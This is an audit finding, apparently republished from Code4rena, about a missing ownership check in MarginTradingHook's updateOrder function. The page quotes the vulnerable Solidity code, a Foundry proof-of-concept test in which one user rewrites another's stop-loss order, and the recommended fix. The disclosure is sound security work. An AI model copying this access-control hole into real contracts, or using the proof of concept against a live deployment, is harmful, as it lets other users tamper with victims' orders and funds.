MarginTradingHook#updateOrder lacks access control
The updateOrder function in MarginTradingHook did not verify that the caller owned the order being updated, only that the caller had an open position. An attacker could modify any active order's trigger price, limit price, collateral amount, and output token.
sashik_eth Follow with rvierdiiev and said
Originally disclosed on Code4rena
Submitted by sashik_eth, also found by rvierdiiev and said
The MarginTradingHook#updateOrder function allows users to update their orders, it checks that the requested order is active order (L513) and that the function caller has opened position (L515). However, this function fails to check that user initPosId is equal to the initPosId saved in the order struct, meaning that the caller is an order creator:
File: MarginTradingHook.sol
503: function updateOrder(
504: uint _posId,
505: uint _orderId,
506: uint _triggerPrice_e36,
507: address _tokenOut,
508: uint _limitPrice_e36,
509: uint _collAmt
510: ) external {
511: _require(_collAmt != 0, Errors.ZERO_VALUE);
512: Order storage order = __orders[_orderId];
513: _require(order.status == OrderStatus.Active, Errors.INVALID_INPUT);
514: uint initPosId = initPosIds[msg.sender][_posId];
515: _require(initPosId != 0, Errors.POSITION_NOT_FOUND);
516: MarginPos memory marginPos = __marginPositions[initPosId];
517: uint collAmt = IPosManager(POS_MANAGER).getCollAmt(initPosId, marginPos.collPool);
518: _require(_collAmt <= collAmt, Errors.INPUT_TOO_HIGH);
519:
520: order.triggerPrice_e36 = _triggerPrice_e36;
521: order.limitPrice_e36 = _limitPrice_e36;
522: order.collAmt = _collAmt;
523: order.tokenOut = _tokenOut;
524: emit UpdateOrder(initPosId, _orderId, _tokenOut, _triggerPrice_e36, _limitPrice_e36, _collAmt);
525: }
Impact
Any order in the MarginTradingHook contract could be updated by other users.
Proof of Concept
The next test added to the TestMarginTradingHelper file could show a scenario when the user can update some other active orders:
function testUpdateNotOwnerOrder() public {
_setUpDexLiquidity(QUOTE_TOKEN, BASE_TOKEN);
address tokenIn = USDT;
address collToken = WETH;
address borrToken = USDT;
{
(uint posIdAlice, uint initPosIdAlice) = _openPos(tokenIn, collToken, borrToken, ALICE, 10_000, 10_000);
(uint posIdBob, ) = _openPos(tokenIn, collToken, borrToken, BOB, 10_000, 10_000);
uint markPrice_e36 = lens.getMarkPrice_e36(collToken, borrToken);
uint triggerPrice_e36 = markPrice_e36 * 9 / 10; // 90% from mark price
uint limitPrice_e36 = markPrice_e36 * 89 / 100; // 89% from mark price
address tokenOut = WETH;
MarginPos memory marginPos = hook.getMarginPos(initPosIdAlice);
uint orderIdAlice = _addStopLossOrder(
ALICE,
posIdAlice,
triggerPrice_e36,
tokenOut,
limitPrice_e36,
positionManager.getCollAmt(initPosIdAlice, marginPos.collPool)
);
vm.startPrank(BOB, BOB);
hook.updateOrder(posIdBob, orderIdAlice, triggerPrice_e36 - 1, tokenOut, limitPrice_e36, 1000);
vm.stopPrank();
Order memory order = hook.getOrder(orderIdAlice);
require(order.triggerPrice_e36 == triggerPrice_e36 - 1, 'order not updated');
}
}
Recommended Mitigation Steps
Consider adding a check that prevents the possibility of updating arbitrary orders, similar to the cancelOrder function:
_require(order.initPosId == initPosId, Errors.INVALID_INPUT);
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The function only checked that the caller had an open position, not that the caller was the order's creator.
Impact
Any active order could be modified by another user, potentially disrupting the original owner's trading strategy.
What the attacker needed
Attacker has an open position; victim has an active order
The fix
Add a check that the order's stored initPosId matches the caller's initPosId, similar to the cancelOrder function.
How it was found
- Alice opens a position and creates a stop-loss order.
- Bob opens his own position.
- Bob calls updateOrder with his own position ID but Alice's order ID.
- The order is updated with Bob's values, confirming the missing ownership check.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract function that lets users update their orders forgot to check that the person calling it actually owns the order. So anyone with an open position could change someone else's order details, like the price at which it would trigger.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.